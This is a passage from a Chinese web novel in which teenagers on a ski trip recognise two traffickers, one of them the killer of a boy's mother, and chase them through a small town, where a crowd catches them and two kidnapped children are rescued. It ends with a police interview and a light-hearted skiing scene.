张期期撇了撇嘴,也有些不开心,“太可惜了……我这次来行李箱里还专门带了一套滑雪服呢。”她手撑着下巴,一脸遗憾地望着窗外的雪地。 陈恕余光看了对方一眼,睫毛颤了颤,提议道:“我们出去走走吗?”他觉得一直坐在窗前盼望着天气能变好实在是太消耗人的精神和情绪了。 “出去走走?”张期期回头笑着道:“好啊!我们大家出去走走。” 陈恕抿唇:…… 一旁的许兰亭拍手赞同,“走!我们下山去镇上压马路吧。” “好啊!好啊!这更好,我听说这里的特产非常不错,我买一些回去给我爸妈尝一尝。”张期期眼神瞬间亮了。 带特产?陈恕想到来这里的前一天,燕姨、老板看他出远门时的担忧眼神,以及老板给他的那张珍贵照片。 林听、周嘉先也都想到了家人,出远门回家能带点特产给家里人确实不错。 众人都同意了这个决定,前台客服人员听说他们想下山逛逛,便帮忙叫了酒店的车送他们下山,并告诉他们下午一点、三点、五点在山脚下有上山的班车。 - 黑木市小镇上的道路非常宽阔,道路两边的树木只剩下了树干和狰狞往空中蔓延生长的枝桠,抬眼望过去,天地间颜色单调,但这座小镇也显得格外地厚重磅礴。 路上人烟稀少,行人包得严严实实地,都低着头走路。 许兰亭插兜走在最前方,林听跟着他的侧后方,张期期将围巾拉上只剩下一双眼睛露在外面,她的身旁则是陈恕,周嘉先抱胸走在最后方…… 几人一副外乡人的模样,要么光明正大、不加掩饰地探头探脑看着,要么眼眸微转,不露痕迹地观察着。 路旁的商店大多数关着玻璃门,店内店外的温差导致玻璃门上雾气蒙蒙。他们一眼望过去,啥也看不出来,只得抬头看看人家的招牌才知道这家店是做什么营业的。 张期期眼底闪过不解,“是现在太早了吗?我之前明明听说他们早上的集市很热闹的啊!” 周嘉先:…… “有没有可能是太晚了!”周嘉先好整以暇继续道:“现在十点多了,他们这早上的集市都是五六点就开始的,十点前就结束了。” “昂?”她的语气充满遗憾,“那好吧。” 众人原本是大大方方地走在大马路上,但吹了一路干冷的寒风后,几人开始挤在一起瑟缩着走。 张期期伸手压了压被冷风吹乱的发丝,她嘴角抽搐,“刚刚是哪个傻叉提要压马路的?” 走在最前面的许兰亭转头看着其余人:…… “谁啊……肯定不是我!是不是你啊,先哥,还是陈恕你?”他决定拉别人下水…… 周嘉先&陈恕:…… - 远处一辆面包车疾驰而来,停在了前方百米处的一家商店门口附近。 林听随意地看了过去,见面包车上下来两个中年男人,他们很快走进了店里。她抬头瞥了一眼商店的招牌,“黑木市特产经销商店”。 “诶,那边那家商店是卖特产的。我们过去看看吗?”林听道。 他们顺着林听的指尖望过去,灰蒙蒙的街道上那家商店的灯光非常明亮,甚至还能透过水雾凝结的玻璃照射出来。 张期期探头看了看,笑着道:“行啊!我们走吧。” 其余人自然没有异议,纷纷往特产店走去。 商店门口的地板上放着一块又厚又大的地垫供进门的游客踩干净鞋底沾着的雪和沙土。 他们到时地垫上已经有好几个脚印印在上面了,陈恕余光随意瞥了一眼,心头蓦然一跳。 “走。我们快进去。”张期期拉着他的小臂进店。 白织灯冰冷地照耀着这家约莫两百平米的特产店,店里异常明亮,几十排货架整齐排列其内,货架上堆满了各式各样的特产。 最靠近里面的货架处隐隐约约有其他顾客压低着嗓音说话,陈恕、张期期他们顺着一个又一个货架往里走,几人时不时地从货架上拿出一些从未见过的东西细细看着。 “诶,期期,这个好像还不错?” “是吗?我看看。” 片刻后,张期期笑着道:“是哦~好像还不错,要不我们买点这个。” 她们两人停下来说着话,渐渐与男生们拉开了距离。 许兰亭、周嘉先也都认真地挑选着货架上的东西,唯独陈恕心神不宁,他无意识地顺着货架走着。 …… 黄强、龙峰从货架上拿了几瓶酒,这种酒是只有黑木市才能买得到的地方特产酒,随后两人准备去前台结账。 在经过一个货架时,龙峰的目光一顿,脚步停了下来,他手肘轻轻捅了捅旁边的黄强。 黄强:? 龙峰下巴微抬,示意他循着方向望过去。 并不需要言语,黄强立刻下意识地装作在挑选特产,余光顺着方向望过去,那边的货架旁两个女生头凑在一起翻来覆去地研究着手中的特产。 仅是几个扫视,他立刻收回了眼神,十六七岁的女学生非常好出手。 黄强对着龙峰无声颔首,两人立刻达成默契,“一起拉到星升仓库”。 是的,计划便是他们准备等两个女生出了店之后跟上去,找个合适的角落拉上面包车就搞定了,外乡旅游的小女生最容易神不知鬼不觉地消失。 这年头的小孩子越来越宝贝,自然大人也就看得紧,真是越来越不容易拐了,但这些十六七岁的女学生反而更容易得手,她们身旁没有家长时时刻刻看着,又涉世未深。 … 绕过一排又一排的货架,陈恕渐渐将其他人甩在身后。 门口的脚印莫名让他非常在意,他总不自觉地将其和当年他妈妈被残忍杀害时凶手留下的脚印进行对比,但他又不是专门的破案专家,根本无法进行细微的对比。 ……可能这个世界上大多数中年男人的脚印都差不多?陈恕这般想着。 他绕了一圈又回到了最开始张期期、林听停下来的位置附近,他眼角余光瞥过去时,她们两人对着手中的特产讨论得如火如荼。 陈恕嘴角微微带起一丝笑意,然而下一刻他听到轻微的一声“星升仓库”时下意识抬眸望过去时,却整个人浑身一僵、如坠冰窖。 那个人的侧脸……和他深入骨髓般记忆里的模样完全一致,他的脸部轮廓、驼峰鼻梁以及他身后不远处那人的身影,是他们! 龙峰抬眼,见不远处有个男生盯着他看,四目相对之下,他心头猛地一跳,顿时有种不祥的预感…… 浸淫灰色行业多年,他们这些人有时候的直觉是非常精准的,当年他们绑架了一个富贵人家的小孩时就有这种心脏狂跳的症状,于是他们当机立断丢下那个小男孩,这才成功逃脱。 那一次他们两人差点翻车,那个小孩居然是京照市房地产大头许家的孩子,也是科技新贵林家的外孙。 那这一次…… 就在龙峰想低声和同伴示警时,少年眼底泛上铺天盖地的恨意,他拔腿就往他们的方向跑过来。 “艹——” “跑啊——”龙峰迅速转身就跑。 他的同伴黄强吓了一跳,一言不发地紧跟着狂奔,两人飞速逃窜在货架之间。 … 拿着一包特产准备过来找张期期、林听“取经取经”,问问年轻小女孩喜欢什么口味的周嘉先、许兰亭正好撞见了这一幕,两人顿时愣在原地。 林听、张期期也循着声响看过去,这是……怎么了? 眼看着黄强、龙峰就要跑出商店外,陈恕大喊了声:“人贩子、快抓住他们!” “他们是人贩子、是凶手!”他撕心裂肺地喊着,就像要碎掉了一般。 商店前台是个年轻的男人,他闻声下意识想将关上阻挡外面寒风的玻璃门锁上,这是由电脑操控的系统,然而他刚想动手按键盘时,一瓶酒飞过来,“哐当”一声砸在了他的电脑上。 酒瓶碎裂,里面的酒喷洒出来,洒在了键盘和主屏幕上,屏幕闪烁了片刻,彻底灰暗下去。 年轻男人猛然抬头,猝不及防地对上了亡命徒狠辣的眼神。 黄强、龙峰收回视线,撞开玻璃门,飞快跳上面包车。 他们前脚才出商店,后脚陈恕就跑到了玻璃门前,他的身后传来周嘉先、许兰亭凌乱的脚步声,他们急切的呼喊声,“陈恕——” 落在最后方的张期期、林听也跑着喊着:“发生什么事了,陈恕……” 陈恕脚步一滞,脑海中光速闪过思绪,他回头对着周嘉先、许兰亭吼了一声,“别跟来,看好期期、林听。” 那两人出现在这里,焉知这附近还有没有他们的同伙!刚才那两人就在打量着期期和林听! 他这么一喊,许兰亭和周嘉先脚步顿时一滞,他俩回过头,的确……人生地不熟的,两个女孩子不能落单,他们必须保护好她们。 想到这,许兰亭、周嘉先面面相觑,脚步慢了下来。 这一耽搁,张期期拉着林听瞬间赶上了,她伸手拍了许兰亭的脑袋一巴掌,喊道:“快追啊!我们一起追过去。” 许兰亭忙不迭声:“哦,是是是。” 几人连忙追了上去,一个接一个地跑出了商店。 商店内的年轻男人也下意识地准备追上去,可下一刻他思及店里的东西,脚步硬生生转了过来,他只是个店员,要是丢了东西,他还得赔。 年轻男人立刻选择打电话报警,“喂喂喂,我要报警,有人贩子,地点啊……地点在华东大道附近。你们快来啊……几个小孩子追上去了。” … 跳上面包车的黄强、龙峰此刻急得手忙脚乱地,黄强慌里慌张地启动着面包车,但面包车始终没有任何反应。 龙峰皱着眉头,吼道:“快点啊!” “你以为我不想快!天气太冷,引擎点不着啊!” 龙峰气得拍了一下窗玻璃,抱怨道:“叫你换一辆换一辆,你就死抠,现在好了……要是被抓住了,我们俩都得吃木仓子。” “你他妈少废话!你行你来啊!”黄强一脸愤怒,换一辆换一辆,他给他的钱又不多,让他怎么换…… “来不及了。追过来了。弃车!”龙峰看着跑出商店的少年以及他身后跟着的两男两女,当机立断拉开车门下车就跑。 黄强紧跟着也下车狂跑,“我们俩大男人难道怕他一个乳臭未干的?要不我们做掉他?” 龙峰翻了个白眼,冷声喝道:“你回头看看。” 黄强回头一看,“艹——怎么有三个男生?” 虽说他喊一开始那个男生乳臭未干,但不可否认对方个子实在太高了,不过个子再高,对上他和峰哥两个老手,肯定也讨不到好处,所以他才萌生“做掉他”地年头。 但……三个男生,还都是个子高,年轻蓬勃的少年,他可就没有把握能够弄死这三个人后还能全身而退,因此现在最佳的办法就是跑! … 北方路面上的雪虽然被铲到道路的两旁堆积起来,但路中间的地上还是留着薄薄的冰雪,走路尚且要小心慢慢走,更何况是跑呢…… 黄强、龙峰这几年扎根在这个最北的城市,早就已经习惯了这里冬天的道路,再加上他们穿的鞋特地增加了防滑的设计,因此跑起路来得心应手。 反观陈恕就不行了,他脚上的鞋子并不适合,他也是第一次在附着碎冰的道路上跑,追着追着,他一个踉跄狠狠砸在了地上。 他仿佛感受不到疼痛似的,摔倒在地的下一秒他手脚并用地爬起来,起身又追了上去。 寒风从他的耳边呼啸而过,眼看着前方那两人离他的距离越来越远,陈恕不由得心中一阵阵悲凉和绝望。 湿润的泪水浸满眼眶,颗颗滑落。视线模糊,他伸出方才擦伤的手随意抹了一把。 他咬牙疯狂追着,一次次摔倒一次次爬起来,可是那两个人却还是距离他越来越远。年幼的他毫无反抗命运的能力,十几年后的今天难道他依旧无法挣脱命运的枷锁吗? 他不甘心!不甘心啊! 陈恕撕心裂肺地喊道:“人贩子——” “抓人贩子啊——” 他一遍遍喊着,用尽全身的力气喊着…… 道路上人烟稀少、空旷无比,只剩下他一个人的喊声回响着,陈恕内心毫无希望,这只是他一个人的困兽之斗。 “抓人贩子——”张期期喊道。 “抓人贩子——”林听喊道。 “抓人贩子——快来啊——”周嘉先喊道。 “有人贩子,快来帮忙啊——”许兰亭喊道。 不同音色的喊声蓦然在陈恕的身后响起,此起彼伏、喊声回荡,他心里顿时又酸又胀,好像又不是他一个人的困兽之斗。 他仿佛又有了力气一般,满怀恨意地盯着那两人的身影继续追着,他的喊声与身后伙伴们的喊声交织在一起越来越响。 前方的黄强、龙峰内心越来越慌,艹,闹大了…… 与此同时,道路两旁的商店陆陆续续有店老板们一头扎出来,“咋啦咋啦?啥事哦?我咋听到抓人贩子?” “谁谁谁,哪个不长眼的偷小孩?天杀的人贩子啊!” “爷们我最恨这种人了……” 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张期期、林听、许兰亭、周嘉先目瞪口呆地看着前方接近上百人的人民群众,越来越多的人从他们几个身边跑过,有的边跑边回过头来安慰他们几个,“大爷我保证,在我们小镇上拐不走一个娃!” … “娃,诶,男娃儿,人贩子呢?哪儿啊,给大哥指一下。”一名看起来就格外强壮的中年男人飞一般地从陈恕的身边蹿过,当他意识到陈恕就是方才那个女娃说的朋友时,便“光速”反身跑回陈恕的身边询问道。 陈恕一顿,片刻后迅速指着前方的岔路口喊道,“他们左拐进巷子了,两个人,两个都是黑色羽绒服,戴灰色帽子。” 中年男人听完,也不多说了,他蒙头加速追过去,当他左拐之后,确实看到不远处两个边跑边往身后回头看的中年男人。 黑色羽绒服、戴灰色帽子,这条巷子就他们两个人!人贩子!板上钉钉! 他大喝一声,拉近与他们的距离,整个人往前一扑,将那两个人扑倒在地。 黄强顿时哀嚎一声,他的脚……他的脚好痛,好像是断了,他刚刚听到咔嚓一声了,“峰哥……我脚、我脚断了……” 龙峰闻言,心里顿时一个咯噔,只是此刻他也无法分神了,压在他身上的男人明显也听到了黄强的话,对方一心死死地按着他,两个人在地上打起了滚! 龙峰心头一阵火起,腾出一只手来摸索着羽绒服口袋内的小刀…… … 一个又一个人从陈恕的身边蹿过,他们自然也听到了他方才的喊声,他们连问也不需要问地左拐狂飙过去。 陈恕仿佛是一个道路障碍物,他的身后的人流分叉着从他左右两边跑过,又在他的前方重新汇聚成一股人流。 无数人跑在了他的前方,跑进了他的赛场里,他孤独又执着地强撑着那口气终于缓缓呼了出来。 陈恕不自觉地放慢了速度,当他终于拐弯后,发现自己根本靠近不了那两个人贩子、杀人凶手。他的身前是许许多多的男女老少,他们将人贩子团团围住,每个人都恨不得上前踹一脚。 “天杀的人贩子,拐小孩这种丧尽天良的事你们也干?” “这种人就是得打死……” “祸害别人家庭的狗东西,死不足惜!” “……” 人贩子此刻距离陈恕站着的位置直径至少有五六米远,他就站在外圈听着人群咒骂他们,看着人群殴打他们,痛快、非常痛快! “陈恕……” 不知过了多长时间,张期期终于跑到了这边,在人群中找到了眼带恨意、脸上神情却无比畅快的陈恕,她轻声再次唤道:“陈恕……” 陈恕脸上的神情顿时一僵,片刻后他闭了闭眼,再睁眼时便是张期期熟悉的模样。 他循声望过去,期期……还有她身后她的朋友们,也是他的朋友们,兰亭、林听、先哥……他们并不清楚发生了什么事,却无条件地相信他,追在他的身后,甚至更是因为他们为他奋力地呼喊,才有了眼前的这群热心、愤怒的大家。 谢谢!真的……谢谢!陈恕无比认真地一个个看过他们的面容。 自从他患上了超忆症之后,巨大的信息量全部强塞在他的脑海里,为了减轻这种巨大信息量带来的麻烦,他总是有意识地去忽略别人的面容、忽视他们的存在。 其实哪怕是随眼一扫,他都能在往后一辈子的生活里清晰地记得他们的面容、身型、音色,但这对他们不够重视,他想要认认真真地将他们记在他的脑海里。 …… 一向内敛冷淡的陈恕眼神如此炙热,张期期、许兰亭几人先是一愣,随即有些摸不着头脑。 许兰亭挠了挠头,“陈恕……”……这到底怎么回事? 恰在此时,人群中有人大喊了一声,截断了许兰亭的话,“不是说人贩子拐小孩吗?小孩呢?” “是啊!小孩去哪里了?” “先别打了,问清楚问清楚。别是搞错了吧?” “不可能,刚才这大哥和地上那人搏斗着呢?他都掏刀子了,要不是我刚好赶到,踹飞了那把刀,这大哥就得挨一刀。这人指定不是什么好人!” 方才将黄强、龙峰扑倒的中年男人狠狠点头,一脸心有余悸的模样,他虽然经常出入健身房,但最好的武艺也怕刀啊! “我能作证,刚刚就是他踹飞了那把刀,救了我!”中年男人点头盖印,“这两人不是好人!谁家好人随身带把刀啊!” “这倒也是,但这事到底怎么回事啊?”人群议论纷纷。 身高一米八二的陈恕在北方大老爷们中依旧显眼,更别说他那张精致的脸了,中年男人准确无误地在人群中看见了陈恕,对方双眼一亮,大声哎了一声,喊道:“等会等会!我问问这男娃。刚才就是他说那两人是人贩子的。” 中年男人从人群中挤到陈恕的身边,围观群众以及张期期几人也顺着视线看向陈恕,所有人都不知道到底怎么回事?所有人都在等着陈恕的回答。 陈恕眼底泛着冷意,径直走向躺在地上被打得遍体鳞伤的黄强、龙峰。 他垂眸望着仿佛两条死狗一般的中年男人,年幼的他躲在柜子中目睹了亲生母亲被这两人残忍勒死、他和弟弟被拽出了柜子,那时候他觉得这两人是多么的强壮、多么可怕、多么不可逾越,然而现在呢……他们终于如当初的他一样任人软弱无力,任人毒打…… 中年男人又一次挤到陈恕身边,“娃呀!这到底怎么回事?”……要真是个误会,那他铁定得进局子了。 陈恕薄唇轻启,“星升仓库。” 星升仓库??中年男人满头雾水。 人群中有人突然惊讶道:“星升仓库?那不是以前就废弃了的仓库吗?”说话的人指着前方道:“巷子的尽头可不就是星升仓库吗?就在这附近啊。” 陈恕神色一凛,立刻挥开他身旁的人群,往巷子的尽头跑去。 其余人见状,纷纷紧跟着跑过去,众人合力将破损的卷帘门弄开,灰尘漫天飘扬,站在最前方的陈恕看见了昏暗中一对被捆得严严实实、扔在地上的小男孩。 70. 第 70 章 - 年纪较小的男孩靠着年纪较大的男孩昏睡着,而年纪较大的男孩瞪大双眼,眼神满是惊恐和不安,他害怕是刚刚出门的那两个人贩子又回来了…… 然而当看清卷帘门外最前方身形挺拔的大哥哥,以及他身后围着的一群叔叔伯伯大爷大妈们时,他顿时意识到他们有救了…… 男孩眼底噙满泪水,他身旁靠着的是他亲弟弟,这些时间来一直是他在安慰着幼小的弟弟,可是……可是他也害怕啊! … 陈恕看见了,他身后的众人自然也看见了,人群顿时一阵哗然,群情激愤,他们咒骂着人贩子的、心疼可怜着孩子…… 然而这些声音却仿佛如潮水一般从他的世界消退了,他的世界一片寂静,看着昏暗仓库中那个小男孩眼眶溢出来的泪水,他仿佛穿越了时光,看到了当年的自己。 陈恕拔腿就往里面跑,他一脚仿佛跨越了十几年的光阴,他跑进了昏暗、冰冷、封闭、灰尘漫天的仓库内。 衣着单薄的男孩抬头望着他,声音嘶哑,他小声喊了声:“哥哥……” 陈恕眼尾发红,几乎要落泪,但他却笑着应了一声,“哥哥来救你们了……” 他迅速脱下身上的羽绒服,披在两个小男孩身上,他双手张开,一把揽住了他们,抱起来。 陈恕身后紧跟着的众人们也挤入了仓库内,中年男人见陈恕吃力地抱着两个小男孩,他上前一步想从陈恕的手中接过一个,但陈恕却微微将他的手撞开,紧紧地把孩子抱在了怀里。 无奈之下,其他人只能虚虚伸着手,护在陈恕的身旁。 他紧紧地抱着两个男孩子,一脚踏出了命运给他们的牢笼,昏暗冰冷的仓库在他身后,他不再回头望一眼。 苍穹灰霾散尽,浓云散开,金色的光茫倾洒下来,普照在每个人的身上,带去浓浓的温暖。 陈恕低头看着沐浴在阳光下的两个男孩子,曾经身上、心上无时不刻的苦痛和绝望仿佛被轻柔地抚摸过一般,他的钝痛得到了缓解。这一刻他满足了,他仿佛越过了时光,救下了当年的自己和弟弟。 - 远处隐隐约约传来警笛声,围观的人民群众顿时一阵嘈杂,“谁报的警啊!警察怎么来得这么快?” 张期期&林听&周嘉先&许兰亭:…… …见过嫌弃警察来得慢的,没见过嫌弃来得快的。 “他大爷的,我还没踹多两脚呢!” “还真是人贩子,揍死他……” “……” 巷子不大,附近又满是围观的人民群众,警察到了现场附近只能下车狂奔。 “队长,你跑那么快干嘛?不是说已经抓住了吗?”刚毕业的小警察边跑边大喘气喊道。他们刚刚下车的时候,附近的人就告诉他们已经抓住了人贩子…… 被喊队长的男人头也不回,吼了一声,“我是怕我们到得太迟,人贩子被打死了……” 果不其然,他们在冲入现场中心时,就受到了附近围观群众的阻力,那围成圈的群众愣是没给他们俩让一步路。 等他们千辛万苦挤到了最前面,地上那两个人贩子已经半死不活了。 * 作为最先发现人贩子的陈恕一行人自然被请到了警察局做笔录。 张期期、林听、许兰亭、周嘉先以及中年男人对整件事都是一知半解的,因此严屹简单问了他们几个问题之后,便让他们先出去了,只剩下陈恕垂眸静静地坐在严屹的对面。 严屹的面前是一个本子,他握着笔,盯着陈恕看了几眼,便问道:“你是怎么发现他们两个是人贩子的?” 陈恕抬眸,他没有回答这个问题,反而先问道:“那两个孩子还好吗?能找到他们的家人吗?” 严屹闻言,沉默片刻,他起身道:“你先等一下。” 他拿着手机走到房间外打了个电话,两分钟后,他又坐回了陈恕的面前,点头道:“那两个孩子没什么大问题,只是被冻到和饿到了,现在医院那边有人照顾他们,两个孩子精神好多了。” “至于……他们的家人,我们警方一定会帮他们找到的。” 陈恕听完,整个人完全松懈了下来,“好。谢谢你们。” 严屹眉眼一挑,目光从他擦的手背上掠过,“不,那两个孩子要谢谢你。对了……你的手需不需要处理一下。” 陈恕瞥了一眼,摇头拒绝了,只是一点小擦伤而已。 “好了,现在你能告诉我,你是怎么发现这两个人是人贩子的?据我所知,当时那两个人并没有在拐骗小孩,而被你救出来的两个孩子是在星升仓库。” 陈恕抿了抿唇,眼神晦涩,“他们不仅仅是人贩子,还是杀人凶手……” 闻言,严屹眉头皱起,“为什么这么说……” - 警察局大厅,见义勇为的中年男人已经离开了,张期期几人排排坐在连排的铁椅上。 许兰亭摸了摸冰冷的长椅,冻得龇牙咧嘴的,但他跟着陈恕跑了那么久,现在腿都酸了,就只能强忍着不适坐着。 为了转移臀部传来的冰冷感,许兰亭深吸一口气,小声道:“话说今天这事儿……” 张期期、周嘉先心底都有所猜测,前者想起之前她在安置房遇到的事情,养父母……难道陈恕是被拐卖才从他的亲生父母身边离开的? 后者想起陈恕在各大免费寻人网站、以及各大新闻报社刊登寻人启事找他的亲弟弟,或许这两个人贩子就是当年拐卖陈恕的弟弟的凶手? 事关陈恕的伤痛,他们两人都不想有过多的揣测,陈恕……他已经够难了…… 张期期、周嘉先下意识地望向许兰亭,便看到许兰亭用力拍了下大腿,压低着声音笑道:“……今天这事儿,咱们可真够牛逼的啊……”他伸着大拇指仿佛在给他自己点赞般。 张期期:…… 周嘉先:…… 二人露出一言难尽的神情,他们还以为许兰亭会疑惑今天这事的来龙去脉呢?呵呵——果然他们想多了! 林听眉眼弯弯,难得笑容温和,“嗯。今天我们都很厉害。” 她开口,许兰亭顿时不好意思起来,少年摸了摸后脑勺后摆摆手,羞涩地笑了。 - 房间内,拿着黑色水笔准备做笔录的严屹神色严肃,当陈恕将所有的事情讲完时,他盯着陈恕看了好一会儿。 半响后,他道:“我们警方会和京照市那边取得联系,对此案件进行立案调查。十一年的时间再加上案件横跨两个省,估计没那么快,但……” 他的话还没说完,便被陈恕打断,少年清亮的眼神盯着他看,“没关系,十几年我都等了,只要有水落石出的那天,我都等得。” “好。还有你弟弟的事,我们也会审讯他们,到时候有消息了,我会通知你的。现在请把你的联系方式写下来。”严屹沉声道。 陈恕留下了方燕夫妻二人的手机号码,并告诉对方这是他的叔叔婶婶,到时候警方联系他们就好了。 * “怎么陈恕还不出来,好久啊?”许兰亭小声嘀咕着。 他又猜测道:“他们……不会扣留陈恕吧?” 话完说完,房间门猛地被打开,严屹率先走了出来,他身后跟着神色平淡的陈恕。 严屹睨了许兰亭一眼,“警方不会随意扣人的,除非对方触犯了法律。” 许兰亭迅速低头,神色尴尬,“不好意思。” 严屹挥了挥手表示不在意,随后告诉他们可以离开了。 - 张期期、陈恕一行人紧赶慢赶地,终于赶到了山脚下,下午一点钟的山上的车刚好就等在山脚下正准备回程。 他们快速上了车又找了位置坐下,车内温暖干燥,十分舒服。 下山这短短两个多小时,真是够惊险的,几人上了车后车就开动了,他们在微微摇晃的面包车里打起了瞌睡。 半个小时后,面包车回到了山庄门口,陈恕叫醒了其余人下车。 早上天色灰蒙蒙,阴云翻滚,但这会儿金色的光芒从云层中倾泻而出,洒落在刚刚下车的张期期几人身上,他们微微仰头闭着眼依旧能感受到阳光的耀眼。 张期期睁开眼,眼眸一转,笑意盈盈道:“天气变好了,要不,我们现在就去滑雪吧,不然明天就要回去了,错过好可惜的啊!” 许兰亭第一个举双手赞成! 林听、周嘉先也点了点头,刚刚他们在车上睡了一小会儿,现在精神还不错。 见他们三人都同意了,张期期望向陈恕,目露询问。 陈恕抿唇,微微笑了笑,他的视线在一行人脸上扫过,“好。不过时间还来得及,我们先去吃点东西吧。” 山庄的午餐是中午十二点到下午两点,现在才一点半。 “好耶——”他们欢呼道。 * 初级滑雪道。 雪白的冰雪在阳光下闪烁着微微的光芒,视线明亮,抬眼望过去,整个雪场一望无际,十分宽广。 五颜六色的滑雪服点缀其上,欢声笑语、以及不小心摔倒的惊叫声充斥在整个雪场之上。 张期期看见今天早上在自助餐餐厅抱怨着错过滑雪的一对年轻人此刻正兴致勃勃勃勃地给对方拍着照片。 张期期全副武装地穿上了自己带过来的浅蓝色滑雪服、头盔、护具、护目镜。 她站在一旁看着教练正在指导着林听、陈恕、许兰亭、周嘉先穿上滑雪服,戴好一系列的护具。穿戴完毕之后,教练先是和他们讲了一些滑雪的注意事项,随后便简单地指导着他们进行试滑。 张期期瞟了一眼此时他们站着的位置,这个坡度…… 她嘴角抽了抽,这个坡度……也太平缓了吧,这、确定能滑得动?? 殊不知这是教练的良苦用心,他们这几个人也就张期期会滑,而其他人又不买课、又听说明天就走了,所以他果断敲定了这个位置,嗯……适合拍拍照、玩闹玩闹就OK了的游客了! 陈恕、许兰亭、林听、周嘉先都是玩的双板,一脚踩一个滑板,脚穿着雪板固定器,左右手上分别拿着一根雪杖。 张期期看着他们在教练的指导下艰难地滑动着,便转身往一旁的售卖店走过去。 店里摆放着一堆的绿色乌龟玩偶,她看了几眼,买了四只拎在手上。 半个小时过去后,陈恕、林听一行人掌控了一点点窍门,已经能够控制自己的身体滑动着。张期期这才走过去,将绿色乌龟玩偶一人发了一只。 他们几人:??? 许兰亭拎着玩偶,“干嘛给我这只绿毛龟,好丑!” 张期期:…… “给你们这些新手保护屁股墩的!”她白了许兰亭一眼,继续道:“看,这里有条腰带,把乌龟绑在屁股后,到时候你们要是摔了,就控制自己选择摔屁股墩坐下来。” 行吧……众人乖乖地将乌龟玩偶系在了胯上。 教练离开后,许兰亭看了看张期期几眼,“为什么你的板子和我们不一样啊!你怎么少了一个啊,还少了两根雪仗?” 张期期摸了摸被她推到头盔上的护目镜,笑容灿烂,“我这是单板!你们第一次玩的,滑双板安全一点。” 许兰亭微微弯曲着膝盖站着,疑惑道:“你什么时候学会滑雪的啊?我怎么不知道!” “前几年就会了……我滑雪那可是……”她眨了眨眼睛,突然语气一收,生硬地转了话,“不过好几年没滑了,技术有点生疏。” …… 一眼望不到头的初级滑雪道坡度平缓,陈恕微微弯曲着膝盖,身体稍微往前倾,他试探着用雪杖在雪地上往后撑了撑。 在力的相互作用下和坡度的助力下,他踩着滑板往前往下滑了一段距离。 林听、许兰亭和周嘉先等人见状,也试探着开始在雪场上自娱自乐起来。 他们一行人时不时地撞上对方、一屁股摔倒在雪地上,张期期看得哈哈大笑,她踩在单板上跟在他们几人的身后慢慢滑着。 陈恕被许兰亭撞得没脾气了,他推开压着他的对方,无奈道:“兰亭,你能不能稍微控制一下你的方向。” 许兰亭拍了拍身上的雪,将掉在地上的雪仗拿起来,“怎么控制方向啊?我每次滑下来都感觉是被滑板带着走,我根本控制不住啊!” 许兰亭刚站起来,突然他的身后传来了林听的大喊声,“让让、快让让,我要……”摔倒了…… “砰——”白雪扬起…… 林听砸在了许兰亭的身上,两根雪杖飞了出去落在了不远处的雪面上。她脚上穿着固定器,双板滑板还粘在脚底上。 许兰亭面色一红,躺在她的身下不敢动弹,他瞪着眼任由身上的少女双手支撑在他身体的两边,许是滑板固定在脚底的问题,她磨蹭了一会都站不起来。 她的身后是天空中耀眼的太阳,少女面容清冷,但他知道她心中亦有正如太阳般温暖的柔软。 见林听艰难地支配着身体,站得近的张期期、周嘉先纷纷过去帮忙,两人一左一右的将林听扶了起来。 林听神色尴尬,低声道:“对不起啊!兰亭。” “哈哈哈……没事没事。”许兰亭红着脸一脸憨笑地起身。 之后他们熟练了一些之后,就开始在平缓的坡度上滑起来,冬日带着寒意的风吹拂而过,滑雪板与雪面上摩擦,白色似薄雾般的细雪飞扬。 雪场上一片欢声笑语,尖叫嬉笑声徜徉…… 张期期看着雪场上摔成一堆的男男女女,眼眸微闪,脸上尽是促狭。 滑雪单板踩在脚下,她瞟了一眼不远处正一心一意滑着雪的陈恕,膝盖微弯,转动方向朝着陈恕滑去。 少女嘴角露出一丝丝的笑意,然而下一刻她迅速切换成“慌张”的模式,双手张开,身体扭来扭去,仿佛在滑雪板上完全站不住似的,滑出了歪七扭八的路线。 她“惊声”尖叫地朝着陈恕的方向冲去,一边喊道:“陈恕——让让——我要——” 陈恕转身回头,他下意识地伸手想要接住对方,然而电光火石间,少女眼眸骤然闪过笑意,陈恕眼眸一颤,心中瞬间明了……他“光速”往旁边一闪。 张期期顿时瞪大双眼,扑通一下子摔坐在柔软的雪堆上,“我要——”她生无可恋地从雪堆中仰起头,补上一句,“摔了……” 陈恕低声笑了出来,她摔倒的位置有一个雪堆,应该是刚才有人在这个团雪球,然后攒到了一起。 摔在人的身体上可比摔在雪堆上疼多了,还别说他身上还带着坚硬的护具,要是磕到她可就麻烦了。更何况…… 陈恕再次露出笑意,心想,她的演技可真烂…… 听到陈恕的笑声,张期期顿时怒目而视,“陈恕!你还笑!你干嘛不接住我……” 陈恕微笑,“你需要我接吗?” 张期期脸一红,眼神逃避,她支支吾吾道:“当、当然!我刚刚不是说了吗?”她说着说着,渐渐理不直气也壮道:“我都说了!我好几年没滑雪了,技术生疏了!” 陈恕点点头,恍然大悟般:“嗯,技术生疏了,你这摔倒下意识的反应倒是不错,知道怎么样的姿势能够缓冲摔倒带来的冲击力。” 刚才教练就和他们说过了,万一摔倒,尽量控制着身体后仰一屁股坐在地上比较好。 张期期闻言,顿时知道自己露馅了……她破罐子破摔,站起来拍了拍身上的雪,直接道:“没错!我就是装的,怎么了!” 陈恕露出一言难尽的神色,“你……为什么要这样?”他在思考自己最近难道是哪里惹她生气了,否则她为什么要故意撞自己。 “为什么?”张期期气势汹汹地走到他的面前,仰头瞪着眼睛看他。 陈恕低头看着瞪得眼睛圆圆的少女,四目相对的瞬间,她双手张开,趁他不注意,迅速抱住他往旁边一倒,“砰——”白雪扬起,两人摔倒在雪堆上, 陈恕看见头顶的炙阳,飞雪,空气中光芒万丈。他听见身旁的少女忍着笑意道:“就为了这一刻,我能抱着你。” 陈恕眼底席卷一波又一波的笑意,他胸腔微颤,突然笑了起来。 张期期顿了顿,坐起来,他低头看着平躺在雪地上笑着的少年也笑了出来。 不远处看着他们的林听、许兰亭也都眼眸露出笑意。 一旁的周嘉先:…… 他想起一首歌,“我不应该在车里,我应该在车底……”他真的好多余啊…… — “不闹了,我让你们看看什么叫真正的技术。”张期期抱着滑雪板,气势十足地站在高处。 然……因为坡度较缓,即便站在高处,但依旧是全员最矮。许兰亭噗呲噗呲地笑出声,他忍不了了,随即哈哈大笑起来。 “喂——喂喂喂!别拆台啊你。”张期期拍了拍滑雪板,瞪了对方一眼。 许兰亭连忙拇指和食指一捏,在嘴巴前做出拉上拉链的样子,张期期这才冷哼一声表示放过他。 